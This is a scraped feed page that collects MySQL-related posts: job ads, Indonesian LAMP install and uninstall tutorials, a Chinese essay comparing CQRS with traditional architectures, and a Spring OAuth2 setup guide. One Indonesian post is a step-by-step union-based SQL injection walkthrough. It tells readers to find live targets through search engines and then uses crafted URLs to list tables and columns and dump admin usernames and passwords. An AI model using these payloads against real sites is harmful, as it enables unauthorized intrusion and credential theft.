PHP Developer - ileftmystuff.com - Remote   
Detailed knowledge of web application development with proven PHP and MySQL skills. Working with management and remote developers to maintain and improve... $40,000 - $50,000 a year
From Indeed - Mon, 19 Jun 2017 14:46:22 GMT - View all Remote jobs
          Comment on Install nfdump and nfsen netflow tools in Linux by george   
Answered question 3 by my self :) so let me add one more question, how can i export the nfcapd flows to mysql?
          Cara Uninstall LAMP yang Benar   
Dua hari yang lalu saya baru memposting tentang cara install LAMP, nah sekarang saya akan memberi tahu cara menguninstallnya bagi yang membutuhkan.

Banyak orang yang menguninstall dengan cara dibawah ini.
$ sudo apt-get remove lamp-server^
Padahal cara tersebut adalah salah! Menguninstall LAMP dengan cara tersebut tidak hanya me-remove LAMP tetapi juga akan me-remove sebagian dari program Anda yang ada seperti, Open Office, Games, dll.
Tapi bagi Anda yang tidak percaya boleh membuktikannya sendiri. Saran saya hanya persiapkan CD installer ubuntu bagi yang ingin membuktikannya. :D

Baiklah bagi Anda yang ingin menguninstall LAMP dengan benar, ikuti cara-cara di bawah ini :

Pertama yang harus Anda lakukan adalah menguninstall phpMyAdmin.
$ sudo apt-get purge libapache2-mod-auth-mysql phpmyadmin
Jika keluar prompt, pilih saja Yes.

Kedua adalah menguninstall MySQL.
$ dpkg -l | grep ^ii | grep mysql-server | awk -F' ' '{ print $2 }'
Contoh: Terminal saya memberikan list ini.
mysql-server
mysql-server-5.1
mysql-server-core-5.1
php5-mysql
Jadi ayo kita uninstall dengan memilih yang mengandung kata "mysql-server".
$ sudo apt-get purge mysql-server mysql-server-5.1 mysql-server-core-5.1

Ketiga adalah menguninstall apache.
$ dpkg -l | grep ^ii | grep apache2 | awk -F' ' '{ print $2 }'
Akan muncul list lagi.
apache2
apache2-mpm-prefork
apache2-utils
apache2.2-bin
apache2.2-common
libapache2-mod-php5
Lalu ketikkan perintah seperti di bawah ini.
$ sudo apt-get purger apache2 apache2-mpm-prefork apache2-utils apache2.2-bin apache2.2-common libapache2-mod-php5

Yang terakhir adalah pembersihan. :D
$ sudo apt-get autoremove

Sekian dari saya, semoga bermanfaat bagi kita semua. ^_^

          Cara Install LAMP di Ubuntu   
Sedikit review tentang Lamp dari wikipedia :
LAMP adalah istilah yang merupakan singkatan dari Linux, Apache, MySQL dan Perl/PHP/Phyton. Merupakan sebuah paket perangkat lunak bebas yang digunakan untuk menjalankan sebuah aplikasi secara lengkap.
Komponen-komponen dari LAMP:
  • Linux sebagai sistem operasi
  • Apache HTTP Server sebagai web server
  • MySQL sebagai sistem basis data
  • Perl atau PHP atau Pyton sebagai bahasa pemrograman yang dipakai
 Jika Anda sudah tahu tentang Lamp tetapi masih bingung cara menginstallnya, mari kita lakukan bersama sesuai tutorial di bawah ini :

Pertama buka terminal Anda (Applications >> Accessories >> Terminal) lalu ketikkan perintah di bawah ini :
$ sudo apt-get install lamp-server^
Catatan: tanda (^) bukan merupakan kesalahan pengetikan.

Jika penginstalan sudah selesai akan muncul sebuah prompt permintaan password root MySQL. Isi dengan password yang Anda inginkan. Lalu akan muncul lagi sebuah prompt, kali ini permintaan confirm password. Ketikkan kembali password Anda tadi. Setelah itu, Lamp akan kembali menginstall.

Jika Lamp sudah selesai di install, buka browser Anda dan ketikkan http://localhost/ pada url bar Anda. Jika muncul tulisan dengan header "It Works!" berarti instalasi Anda sukses.

Selanjutnya, untuk menginstall phpmyadmin ketikkan perintah berikut pada terminal Anda :
$ sudo apt-get install libapache2-mod-auth-mysql phpmyadmin
Saat installasi phpmyadmin dimulai, akan muncul prompt sebanyak empat kali. Lakukan 4 hal di bawah ini untuk tiap-tiap prompt yang keluar :
  1. Berupa pilihan. Pilih apache2 lalu tekan Enter.
  2. Berupa pilihan lagi, gunakan tombol Tab untuk memilih dan pilih Yes.
  3. Sebuah prompt permintaan password root untuk MySQL Anda, isi dengan password yang Anda inginkan.
  4. Sebuah prompt permintaan konfirmasi password, isi dengan password root MySQL Anda.
Setelah installasi phpmyadmin selesai, buka browser Anda dan ketikkan http://localhost/phpmyadmin untuk melihat halaman phpmyadmin Anda.

Sekian dari saya, semoga bisa bermanfaat untuk kita semua. ^_^

          SQL Injection Melalui URL   
Udah pada tahukan sql injection itu apa? Kalau yang belum tahu langsung cabut aja dulu ke wikipedia / google gan.. :D


Ok, buat yang udah tahu apa itu sql injection tapi masih bingung caranya. Nih saya share disini..


Pertama-tama mari siapkan :
  1. Target yang akan dituju (bisa di cari di google, bing, dll)
  2. Segelas air putih (biar ga dehidrasi di depan komputer yang panas.. hehe)


Langsung aja ya..
Kalau begitu pertama kita cari targetnya, misalkan http://www.target.com/news.php?id=1
Nah kita tambahkan kutip satu di belakang angka 1 untuk mengetahui apakah web tersebut vulnerable dengan sql injection atau tidak.
Nanti urlnya jadi begini http://www.target.com/news.php?id=1'


Lihat apakah muncul error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax
Kalau muncul error seperti di atas, berarti web tersebut vulnerable. :D


Selanjutnya kalau sudah vulnerable kita lanjutkan dengan mengubah url menjadi http://www.target.com/news.php?id=-1+order+by+1--
Cek apakah terdapat error lagi atau tidak, kalau tidak lanjutkan dengan mengganti angka 1 yang dibelakang dengan angka 2 dst..
Misalkan terdapat error di angka 5, berarti kita ambil angka 1, 2, 3, dan 4 untuk langkah berikutnya..


Sekarang ubah url menjadi http://www.target.com/news.php?id=-1+union+select+1,2,3,4-- untuk melihat angka ajaib yang keluar.. :D
Jika yang keluar angka 3, maka kita ganti angka 3 tersebut menjadi @@version atau version() untuk mengetahui versi mysql yang di gunakan : http://www.target.com/news.php?id=-1+union+select+1,2,@@version,4--


Kalau versi mysqlnya 4 kita tinggalkan saja dan cari web yang baru, tapi kalau versi 5 kita lanjut bang.. :D


Kita sudah tahu versi mysqlnya adalah 5, jadi sekarang kita ubah kembali urlnya menjadi
http://www.target.com/news.php?id=-1+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()--
untuk mengetahui tabel-tabel yang ada di web tersebut.

Jika nama tabelnya sudah keluar, kalian cari mana yang mencurigakan dari namanya. Misalkan kita dapat "admin_log" tanpa kutip.


Kita buka tabel tersebut dengan mengganti group_concat(table_name) menjadi group_concat(column_name) dan information_schema.tables menjadi information_schema.columns lalu table_schema=database() menjadi table_name=admin_log tapi "admin_log" harus di convert dulu ke bilangan hexadesimal dan tambahkan 0x di depan hasil convertnya.
Misalkan hexadesimal admin_log adalah 12345, menjadi 0x12345.


Lihat nama apa saja yang keluar, misalkan "admin,pass".
Kita buka saja isi dari column itu untuk mengetahui username dan password adminnya.. :D
Kita ubah group_concat(column_name) menjadi group_concat(admin,0x23,pass) dan information_schema.tables+where+table_name=0x12345 menjadi admin_log.



Dengan begitu keluarlah semua username dan passwordnya.
Sekarang kalian tinggal mencari halaman login untuk adminnya saja.., tapi ingat jangan disalah gunakan ya.. ;)


Semoga bermanfaat.. ^_^

          Senior Oracle DBA with operational and R&D experience   
Senior Oracle DBA with operational and R&D experience 3+ Years experience as an Oracle DBA both from an operational and R&D perspective. 1+ Years experience as an "Open Source" DBA of either MySQL or PostgreSQL.Appetite for learning new technologies and getting your hands dirty with cutting edge database solutions. Self proficient and hard worker.Fluent in speaking and writing technological English.Experience in:Proven hands-on with operating and managing Oracle 12c databases and de...
          Comment on How to reset MySQL root password (even if you’ve forgotten it) by Stacy   
Great walkthrough for AWS Mysql lockout, your explanations were helpful for future use and appreciated. Thanks!
          PHP DEVELOPER   
Onweb Software Technologies Private Limited - Bangalore, Karnataka - 7503Google Map: https://goo.gl/maps/zgdirPhuS462 We are looking for 5 PHP / Codeigniter Developers who is having 3+ yearsof sound experience of PHP... development. You have in-depth HTML & CSSKnowledge You have in-depth knowledge of MYSQL & PHP withMVC Architecture. You have in-depth knowledge...
          Snr PHP Developer   
Avionic Consulting Solutions - Ahmedabad, Gujarat - One of the renowned IT organisations in Ahmedabad is in search of a PHPDEVELOPER (CORE PHP) Requirement Experience in software... development with Objectoriented PHP Proficiency in Core PHP, MySQL Good to have exposure onweb services Excellent object-oriented skills including the...
          PHP Developer in Jaipur   
Jaipur, Rajasthan - Urgent Requirement for PHP developer in Media House, Jaipur Skills Required: Experience in web development using PHP ( wordpress, core... php, cake php etc), MySQL, HTML, CSS, JQuery, JavaScript. Experience on either CMS (Content Managment System or MVC Frameworks Laravel. Cake...
          Urgent Hiring for Php Developer - Laravelsymfonymvc   
India - Strong knowledge of PHP frameworks such as Laravel, Symfony etc. depending on your technology stack. - Understanding of MVC design... patterns. - Knowledge of object oriented PHP programming. - Working knowledge of MySQL and other SQL/NoSQL databases and their declarative...
          Bahasa Pemrograman Web Populer dan Database yang Digunakan    
Anda penasaran, teknologi apa yang digunakan oleh layanan-layanan web populer di internet? Kinerja layanan mereka yang cepat, sajian informasi yang dinamis, dan tampilan yang interaktif bisa Anda contoh untuk Anda terapkan di website yang Anda kelola. Jika Anda sudah menggunakan teknologi ini, maka pada tahap awal, Anda sudah berada di jalur yang benar.



Di balik halaman-halaman website mereka yang dinamis dan interaktif, ternyata bahasa pemrograman dan pengolah database yang digunakan pada server mereka adalah sebagai berikut:
  • Google: Pemrograman C, C++, Java, Python, dan PHP. Database menggunakan BigTable.
  • Facebook: Pemrograman PHP, C++, Java, Python, Erlang. Database menggunakan MySQL.
  • YouTube: Pemrograman C, Python, Java. Database menggunakan MySQL.
  • Yahoo: Pemrograman PHP. Database menggunakan MySQL.
  • Live: Pemrograman ASP.NET. Database menggunakan Microsoft SQL Server.
  • MSN: Pemrograman ASP.NET. Database menggunakan Microsoft SQL Server.
  • Wikipedia: Pemrograman PHP. Database menggunakan MySQL.
  • Blogger: Pemrograman Python. Database menggunakan BigTable.
  • Bing: Pemrograman ASP.NET. Database menggunakan Microsoft SQL Server.
  • Twitter: Pemrograman C++, Java, RoR, Scala. Database tidak diketahui.
  • Wordpress: Pemrograman PHP. Database menggunakan MySQL.
  • Amazon: Pemrograman Java, J2EE, C++, Perl. Database tidak diketahui.
  • eBay: Pemrograman Java, WebSphere, Servlets. Database menggunakan Oracle.
  • Linkedin: Pemrograman Java, Scala. Database tidak diketahui.

Adapun teknologi untuk pemrograman client-side yang digunakan rata-rata adalah JavaScript dan Ajax. Adapun Flash hanya dipakai di Youtube. Kemungkinan Silverlight hanya dipakai di situs-situs Microsoft seperti Live, MSN, dan Bing.

          Jenis-jenis Database dan Teknologinya    
Pada era komputer dan internet ini, peran database atau basis data sangat dominan. Hampir semua kegiatan administratif di perkantoran dan institusi kini diintegrasikan ke sistem komputasi dengan model database terpadu. Demikian juga, layanan-layanan online di internet juga tidak terlepas dari peran database. Lantas apakah jenis-jenis teknologi yang digunakan untuk mengelola database?



Database Server

Berikut ini adalah daftar jenis-jenis teknologi database, yang sebagian besar merupakan Relational Database Management System (RDBMS):
  • Apache Derby (sebelumnya dikenal sebagai IBM Cloudscape), merupakan aplikasi pengolah database yang bersifat open source, dikembangkan oleh Apache Software Foundation. Lazim digunakan di program Java dan untuk pemrosesan transaksi online.
  • IBM DB2, merupakan aplikasi pengolah database yang dikembangkan IBM secara proprietary (komersial). DB2 terbagi menjadi 3 varian, yaitu DB2 untuk Linux - Unix - Windows, DB2 untuk z/OS (mainframe), dan DB2 untuk iSeries (OS/400).
  • Firebird, merupakan aplikasi pengolah database yang bersifat open source, dikembangkan oleh Firebird Project. Lazim dijalankan di Linux, Windows dan berbagai varian Unix.
  • Microsoft SQL Server, merupakan aplikasi pengolah database yang dikembangkan oleh Microsoft dan bersifat proprietary (komersial),namun tersedia juga versi freeware-nya. Lazim digunakan di berbagai versi Microsoft Windows.
  • MySQL, merupakan aplikasi pengolah database yang bersifat open source, dikembangkan oleh Oracle (sebelumnya Sun dan MySQL AB). Merupakan pengolah database yang paling banyak digunakan di dunia dan lazim diterapkan untuk aplikasi web.
  • Oracle, merupakan aplikasi pengolah database yang bersifat proprietary (komersial), dikembangkan oleh Oracle Corporation. Pengolah database ini terbagi dalam beberapa varian dengan segmen dan tujuan penggunaan yang berbeda-beda.
  • PostgreSQL atau Postgres, merupakan aplikasi pengolah database yang bersifat open source, dikembangkan oleh PosgreSQL Global Development Group. Tersedia dalam berbagai platform sistem operasi seperti Linux, FreeBSD, Solaris, Windows, dan Mac OS.
  • SQLite, merupakan aplikasi pengolah database yang bersifat open source, dikembangkan oleh D. Richard Hipp. Dikenal sebagai pengolah database yang sangat kecil ukuran programnya, sehingga lazim ditanamkan di berbagai aplikasi komputer, misalnya di web browser.
  • Sybase, merupakan aplikasi pengolah database yang bersifat proprietary (komersial), dikembangkan oleh SAP. Ditargetkan untuk pengembangan aplikasi mobile.
  • WebDNA, merupakan aplikasi pengolah database yang bersifat freeware, dikembangkan oleh WebDNA Software Corporation. Didesain untuk digunakan di web.
  • Redis, merupakan aplikasi pengolah database yang bersifat open source, dikembangkan oleh Salvatore Sanfilippo (disponsori oleh VMware. Difungsikan untuk jaringan komputer.
  • MongoDB, merupakan aplikasi pengolah database yang bersifat open source, dikembangkan oleh 10gen. Tersedia untuk berbagai platform sistem operasi dan dikenal telah digunakan oleh situs Foursquare, MTV Networks, dan Craigslist.
  • CouchDB, merupakan aplikasi pengolah database yang bersifat open source, dikembangkan oleh Apache Software Foundation. Difokuskan untuk digunakan di server web.

          DDD CQRS架构和传统架构的优缺点比较   
最近几年,在DDD的领域,我们经常会看到CQRS架构的概念。我个人也写了一个ENode框架,专门用来实现这个架构。CQRS架构本身的思想其实非常简单,就是读写分离。是一个很好理解的思想。就像我们用MySQL数据库的主备,数据写到主,然后查询从备来查,主备数据的同步由MySQL数据库自己负责,这是一种数据库层面的读写分离。关于CQRS架构的介绍其实已经非常多了,大家可以自行百度或google。我今天主要想总结一下这个架构相对于传统架构(三层架构、DDD经典四层架构)在数据一致性、扩展性、可用性、伸缩性、性能这几个方面的异同,希望可以总结出一些优点和缺点,为大家在做架构选型时提供参考。

前言

CQRS架构由于本身只是一个读写分离的思想,实现方式多种多样。比如数据存储不分离,仅仅只是代码层面读写分离,也是CQRS的体现;然后数据存储的读写分离,C端负责数据存储,Q端负责数据查询,Q端的数据通过C端产生的Event来同步,这种也是CQRS架构的一种实现。今天我讨论的CQRS架构就是指这种实现。另外很重要的一点,C端我们还会引入Event Sourcing+In Memory这两种架构思想,我认为这两种思想和CQRS架构可以完美的结合,发挥CQRS这个架构的最大价值。

数据一致性

传统架构,数据一般是强一致性的,我们通常会使用数据库事务保证一次操作的所有数据修改都在一个数据库事务里,从而保证了数据的强一致性。在分布式的场景,我们也同样希望数据的强一致性,就是使用分布式事务。但是众所周知,分布式事务的难度、成本是非常高的,而且采用分布式事务的系统的吞吐量都会比较低,系统的可用性也会比较低。所以,很多时候,我们也会放弃数据的强一致性,而采用最终一致性;从CAP定理的角度来说,就是放弃一致性,选择可用性。

CQRS架构,则完全秉持最终一致性的理念。这种架构基于一个很重要的假设,就是用户看到的数据总是旧的。对于一个多用户操作的系统,这种现象很普遍。比如秒杀的场景,当你下单前,也许界面上你看到的商品数量是有的,但是当你下单的时候,系统提示商品卖完了。其实我们只要仔细想想,也确实如此。因为我们在界面上看到的数据是从数据库取出来的,一旦显示到界面上,就不会变了。但是很可能其他人已经修改了数据库中的数据。这种现象在大部分系统中,尤其是高并发的WEB系统,尤其常见。

所以,基于这样的假设,我们知道,即便我们的系统做到了数据的强一致性,用户还是很可能会看到旧的数据。所以,这就给我们设计架构提供了一个新的思路。我们能否这样做:我们只需要确保系统的一切添加、删除、修改操作所基于的数据是最新的,而查询的数据不必是最新的。这样就很自然的引出了CQRS架构了。C端数据保持最新、做到数据强一致;Q端数据不必最新,通过C端的事件异步更新即可。所以,基于这个思路,我们开始思考,如何具体的去实现CQ两端。看到这里,也许你还有一个疑问,就是为何C端的数据是必须要最新的?这个其实很容易理解,因为你要修改数据,那你可能会有一些修改的业务规则判断,如果你基于的数据不是最新的,那意味着判断就失去意义或者说不准确,所以基于老的数据所做的修改是没有意义的。

扩展性

传统架构,各个组件之间是强依赖,都是对象之间直接方法调用;而CQRS架构,则是事件驱动的思想;从微观的聚合根层面,传统架构是应用层通过过程式的代码协调多个聚合根一次性以事务的方式完成整个业务操作。而CQRS架构,则是以Saga的思想,通过事件驱动的方式,最终实现多个聚合根的交互。另外,CQRS架构的CQ两端也是通过事件的方式异步进行数据同步,也是事件驱动的一种体现。上升到架构层面,那前者就是SOA的思想,后者是EDA的思想。SOA是一个服务调用另一个服务完成服务之间的交互,服务之间紧耦合;EDA是一个组件订阅另一个组件的事件消息,根据事件信息更新组件自己的状态,所以EDA架构,每个组件都不会依赖其他的组件;组件之间仅仅通过topic产生关联,耦合性非常低。

上面说了两种架构的耦合性,显而易见,耦合性低的架构,扩展性必然好。因为SOA的思路,当我要加一个新功能时,需要修改原来的代码;比如原来A服务调用了B,C两个服务,后来我们想多调用一个服务D,则需要改A服务的逻辑;而EDA架构,我们不需要动现有的代码,原来有B,C两订阅者订阅A产生的消息,现在只需要增加一个新的消息订阅者D即可。

从CQRS的角度来说,也有一个非常明显的例子,就是Q端的扩展性。假设我们原来Q端只是使用数据库实现的,但是后来系统的访问量增大,数据库的更新太慢或者满足不了高并发的查询了,所以我们希望增加缓存来应对高并发的查询。那对CQRS架构来说很容易,我们只需要增加一个新的事件订阅者,用来更新缓存即可。应该说,我们可以随时方便的增加Q端的数据存储类型。数据库、缓存、搜索引擎、NoSQL、日志,等等。我们可以根据自己的业务场景,选择合适的Q端数据存储,实现快速查询的目的。这一切都归功于我们C端记录了所有模型变化的事件,当我们要增加一种新的View存储时,可以根据这些事件得到View存储的最新状态。这种扩展性在传统架构下是很难做到的。

可用性

可用性,无论是传统架构还是CQRS架构,都可以做到高可用,只要我们做到让我们的系统中每个节点都无单点即可。但是,相比之下,我觉得CQRS架构在可用性方面,我们可以有更多的回避余地和选择空间。

传统架构,因为读写没有分离,所以可用性要把读写合在一起综合考虑,难度会比较更大。因为传统架构,如果一个系统的高峰期的并发写入很大,比如为2W,并发读取也很大,比如为10W。那该系统必须优化到能同时支持这种高并发的写入和查询,否则系统就会在高峰时挂掉。这个就是基于同步调用思路的系统的缺点,没有一个东西去削峰填谷,保存瞬间多出来的请求,而必须让系统不管遇到多少请求,都必须能及时处理完,否则就会造成雪崩效应,造成系统瘫痪。但是一个系统,不会一直处在高峰,高峰可能只有半小时或1小时;但为了确保高峰时系统不挂掉,我们必须使用足够的硬件去支撑这个高峰。而大部分时候,都不需要这么高的硬件资源,所以会造成资源的浪费。所以,我们说基于同步调用、SOA思想的系统的实现成本是非常昂贵的。

而在CQRS架构下,因为CQRS架构把读和写分离了,所以可用性相当于被隔离在了两个部分去考虑。我们只需要考虑C端如何解决写的可用性,Q端如何解决读的可用性即可。C端解决可用性,我觉得是更加容易的,因为C端是消息驱动的。我们要做任何数据修改时,都会发送Command到分布式消息队列,然后后端消费者处理Command->产生领域事件->持久化事件->发布事件到分布式消息队列->最后事件被Q端消费。这个链路是消息驱动的。相比传统架构的直接服务方法调用,可用性要高很多。因为就算我们处理Command的后端消费者暂时挂了,也不会影响前端Controller发送Command,Controller依然可用。从这个角度来说,CQRS架构在数据修改上可用性要更高。不过你可能会说,要是分布式消息队列挂了呢?呵呵,对,这确实也是有可能的。但是一般分布式消息队列属于中间件,一般中间件都具有很高的可用性(支持集群和主备切换),所以相比我们的应用来说,可用性要高很多。另外,因为命令是先发送到分布式消息队列,这样就能充分利用分布式消息队列的优势:异步化、拉模式、削峰填谷、基于队列的水平扩展。这些特性可以保证即便前端Controller在高峰时瞬间发送大量的Command过来,也不会导致后端处理Command的应用挂掉,因为我们是根据自己的消费能力拉取Command。这点也是CQRS C端在可用性方面的优势,其实本质也是分布式消息队列带来的优势。所以,从这里我们可以体会到EDA架构(事件驱动架构)是非常有价值的,这个架构也体现了我们目前比较流行的Reactive Programming(响应式编程)的思想。

然后,对于Q端,应该说和传统架构没什么区别,因为都是要处理高并发的查询。这点以前怎么优化的,现在还是怎么优化。但是就像我上面可扩展性里强调的,CQRS架构可以更方便的提供更多的View存储,数据库、缓存、搜索引擎、NoSQL,而且这些存储的更新完全可以并行进行,互相不会拖累。理想的场景,我觉得应该是,如果你的应用要实现全文索引这种复杂查询,那可以在Q端使用搜索引擎,比如ElasticSearch;如果你的查询场景可以通过keyvalue这种数据结构满足,那我们可以在Q端使用Redis这种NoSql分布式缓存。总之,我认为CQRS架构,我们解决查询问题会比传统架构更加容易,因为我们选择更多了。但是你可能会说,我的场景只能用关系型数据库解决,且查询的并发也是非常高。那没办法了,唯一的办法就是分散查询IO,我们对数据库做分库分表,以及对数据库做一主多备,查询走备机。这点上,解决思路就是和传统架构一样了。

性能、伸缩性

本来想把性能和伸缩性分开写的,但是想想这两个其实有一定的关联,所以决定放在一起写。

伸缩性的意思是,当一个系统,在100人访问时,性能(吞吐量、响应时间)很不错,在100W人访问时性能也同样不错,这就是伸缩性。100人访问和100W人访问,对系统的压力显然是不同的。如果我们的系统,在架构上,能够做到通过简单的增加机器,就能提高系统的服务能力,那我们就可以说这种架构的伸缩性很强。那我们来想想传统架构和CQRS架构在性能和伸缩性上面的表现。

说到性能,大家一般会先思考一个系统的性能瓶颈在哪里。只要我们解决了性能瓶颈,那系统就意味着具有通过水平扩展来达到可伸缩的目的了(当然这里没有考虑数据存储的水平扩展)。所以,我们只要分析一下传统架构和CQRS架构的瓶颈点在哪里即可。

传统架构,瓶颈通常在底层数据库。然后我们一般的做法是,对于读:通常使用缓存就可以解决大部分查询问题;对于写:办法也有很多,比如分库分表,或者使用NoSQL,等等。比如阿里大量采用分库分表的方案,而且未来应该会全部使用高大上的OceanBase来替代分库分表的方案。通过分库分表,本来一台数据库服务器高峰时可能要承受10W的高并发写,如果我们把数据放到十台数据库服务器上,那每台机器只需要承担1W的写,相对于要承受10W的写,现在写1W就显得轻松很多了。所以,应该说数据存储对传统架构来说,也早已不再是瓶颈了。

传统架构一次数据修改的步骤是:1)从DB取出数据到内存;2)内存修改数据;3)更新数据回DB。总共涉及到2次数据库IO。

然后CQRS架构,CQ两端加起来所用的时间肯定比传统架构要多,因为CQRS架构最多有3次数据库IO,1)持久化命令;2)持久化事件;3)根据事件更新读库。为什么说最多?因为持久化命令这一步不是必须的,有一种场景是不需要持久化命令的。CQRS架构中持久化命令的目的是为了做幂等处理,即我们要防止同一个命令被处理两次。那哪一种场景下可以不需要持久化命令呢?就是当命令时在创建聚合根时,可以不需要持久化命令,因为创建聚合根所产生的事件的版本号总是为1,所以我们在持久化事件时根据事件版本号就能检测到这种重复。

所以,我们说,你要用CQRS架构,就必须要接受CQ数据的最终一致性,因为如果你以读库的更新完成为操作处理完成的话,那一次业务场景所用的时间很可能比传统架构要多。但是,如果我们以C端的处理为结束的话,则CQRS架构可能要快,因为C端可能只需要一次数据库IO。我觉得这里有一点很重要,对于CQRS架构,我们更加关注C端处理完成所用的时间;而Q端的处理稍微慢一点没关系,因为Q端只是供我们查看数据用的(最终一致性)。我们选择CQRS架构,就必须要接受Q端数据更新有一点点延迟的缺点,否则就不应该使用这种架构。所以,希望大家在根据你的业务场景做架构选型时一定要充分认识到这一点。

另外,上面再谈到数据一致性时提到,传统架构会使用事务来保证数据的强一致性;如果事务越复杂,那一次事务锁的表就越多,锁是系统伸缩性的大敌;而CQRS架构,一个命令只会修改一个聚合根,如果要修改多个聚合根,则通过Saga来实现。从而绕过了复杂事务的问题,通过最终一致性的思路做到了最大的并行和最少的并发,从而整体上提高系统的吞吐能力。

所以,总体来说,性能瓶颈方面,两种架构都能克服。而只要克服了性能瓶颈,那伸缩性就不是问题了(当然,这里我没有考虑数据丢失而带来的系统不可用的问题。这个问题是所有架构都无法回避的问题,唯一的解决办法就是数据冗余,这里不做展开了)。两者的瓶颈都在数据的持久化上,但是传统的架构因为大部分系统都是要存储数据到关系型数据库,所以只能自己采用分库分表的方案。而CQRS架构,如果我们只关注C端的瓶颈,由于C端要保存的东西很简单,就是命令和事件;如果你信的过一些成熟的NoSQL(我觉得使用文档性数据库如MongoDB这种比较适合存储命令和事件),且你也有足够的能力和经验去运维它们,那可以考虑使用NoSQL来持久化。如果你觉得NoSQL靠不住或者没办法完全掌控,那可以使用关系型数据库。但这样你也要付出努力,比如需要自己负责分库分表来保存命令和事件,因为命令和事件的数据量都是很大的。不过目前一些云服务如阿里云,已经提供了DRDS这种直接支持分库分表的数据库存储方案,极大的简化了我们存储命令和事件的成本。就我个人而言,我觉得我还是会采用分库分表的方案,原因很简单:确保数据可靠落地、成熟、可控,而且支持这种只读数据的落地,框架内置要支持分库分表也不是什么难事。所以,通过这个对比我们知道传统架构,我们必须使用分库分表(除非阿里这种高大上可以使用OceanBase);而CQRS架构,可以带给我们更多选择空间。因为持久化命令和事件是很简单的,它们都是不可修改的只读数据,且对kv存储友好,也可以选择文档型NoSQL,C端永远是新增数据,而没有修改或删除数据。最后,就是关于Q端的瓶颈,如果你Q端也是使用关系型数据库,那和传统架构一样,该怎么优化就怎么优化。而CQRS架构允许你使用其他的架构来实现Q,所以优化手段相对更多。

结束语

我觉得不论是传统架构还是CQRS架构,都是不错的架构。传统架构门槛低,懂的人也多,且因为大部分项目都没有什么大的并发写入量和数据量。所以应该说大部分项目,采用传统架构就OK了。但是通过本文的分析,大家也知道了,传统架构确实也有一些缺点,比如在扩展性、可用性、性能瓶颈的解决方案上,都比CQRS架构要弱一点。大家有其他意见,欢迎拍砖,交流才能进步,呵呵。所以,如果你的应用场景是高并发写、高并发读、大数据,且希望在扩展性、可用性、性能、可伸缩性上表现更优秀,我觉得可以尝试CQRS架构。但是还有一个问题,CQRS架构的门槛很高,我认为如果没有成熟的框架支持,很难使用。而目前据我了解,业界还没有很多成熟的CQRS框架,java平台有axon framework, jdon framework;.NET平台,ENode框架正在朝这个方向努力。所以,我想这也是为什么目前几乎没有使用CQRS架构的成熟案例的原因之一。另一个原因是使用CQRS架构,需要开发者对DDD有一定的了解,否则也很难实践,而DDD本身要理解没个几年也很难运用到实际。还有一个原因,CQRS架构的核心是非常依赖于高性能的分布式消息中间件,所以要选型一个高性能的分布式消息中间件也是一个门槛(java平台有RocketMQ),.NET平台我个人专门开发了一个分布式消息队列EQueue,呵呵。另外,如果没有成熟的CQRS框架的支持,那编码复杂度也会很复杂,比如Event Sourcing,消息重试,消息幂等处理,事件的顺序处理,并发控制,这些问题都不是那么容易搞定的。而如果有框架支持,由框架来帮我们搞定这些纯技术问题,开发人员只需要关注如何建模,实现领域模型,如何更新读库,如何实现查询,那使用CQRS架构才有可能,因为这样才可能比传统的架构开发更简单,且能获得很多CQRS架构所带来的好处。

paulwong 2017-02-19 08:39 发表评论

          使用Spring Cloud Security OAuth2搭建授权服务   

Spring Cloud Security OAuth2 是 Spring 对 OAuth2 的开源实现,优点是能与Spring Cloud技术线无缝集成,如果全部使用默认配置,开发者只需要添加注解就能完成 OAuth2 授权服务的搭建。

1. 添加依赖

授权服务是基于Spring Security的,因此需要在项目中引入两个依赖:

<dependency>
        <groupId>org.springframework.cloud</groupId>
        <artifactId>spring-cloud-starter-security</artifactId>
</dependency>

<dependency>
         <groupId>org.springframework.cloud</groupId>
         <artifactId>spring-cloud-starter-oauth2</artifactId>
 </dependency>


前者为 Security,后者为Security的OAuth2扩展。

2. 添加注解和配置

在启动类中添加@EnableAuthorizationServer注解:

@SpringBootApplication
@EnableAuthorizationServer
public class AlanOAuthApplication {
    public static void main(String[] args) {
        SpringApplication.run(AlanOAuthApplication.class, args);
    }
}


完成这些我们的授权服务最基本的骨架就已经搭建完成了。但是要想跑通整个流程,我们必须分配 client_idclient_secret才行。Spring Security OAuth2的配置方法是编写@Configuration类继承AuthorizationServerConfigurerAdapter,然后重写void configure(ClientDetailsServiceConfigurer clients)方法,如:

@Override
    public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
        clients.inMemory() // 使用in-memory存储
                .withClient("client") // client_id
                .secret("secret") // client_secret
                .authorizedGrantTypes("authorization_code") // 该client允许的授权类型
                .scopes("app"); // 允许的授权范围
    }


3. 授权流程

访问授权页面:

localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com


此时浏览器会让你输入用户名密码,这是因为 Spring Security 在默认情况下会对所有URL添加Basic Auth认证。默认的用户名为user, 密码是随机生成的,在控制台日志中可以看到。

oauth2

画风虽然很简陋,但是基本功能都具备了。点击Authorize后,浏览器就会重定向到百度,并带上code参数:

这里写图片描述

拿到code以后,就可以调用

POST/GET http://client:secret@localhost:8080/oauth/token
  • 1

来换取access_token了:

curl -X POST -H "Cache-Control: no-cache" -H "Content-Type: application/x-www-form-urlencoded" -d 'grant_type=authorization_code&code=Li4NZo&redirect_uri=http://www.baidu.com' "http://client:secret@localhost:8080/oauth/token"

返回如下:

{
  "access_token": "32a1ca28-bc7a-4147-88a1-c95abcc30556",
  "token_type": "bearer",
  "expires_in": 2591999,
  "scope": "app"
}

到此我们最最基本的授权服务就搭建完成了。然而,这仅仅是个demo,如果要在生产环境中使用,还需要做更多的工作。

4. 使用MySQL存储access_token和client信息

把授权服务器中的数据存储到数据库中并不难,因为 Spring Cloud Security OAuth 已经为我们设计好了一套Schema和对应的DAO对象。但在使用之前,我们需要先对相关的类有一定的了解。

4.1 相关接口

Spring Cloud Security OAuth2通过DefaultTokenServices类来完成token生成、过期等 OAuth2 标准规定的业务逻辑,而DefaultTokenServices又是通过TokenStore接口完成对生成数据的持久化。在上面的demo中,TokenStore的默认实现为InMemoryTokenStore,即内存存储。 对于Client信息,ClientDetailsService接口负责从存储仓库中读取数据,在上面的demo中默认使用的也是InMemoryClientDetialsService实现类。说到这里就能看出,要想使用数据库存储,只需要提供这些接口的实现类即可。庆幸的是,框架已经为我们写好JDBC实现了,即JdbcTokenStoreJdbcClientDetailsService

4.2 建表

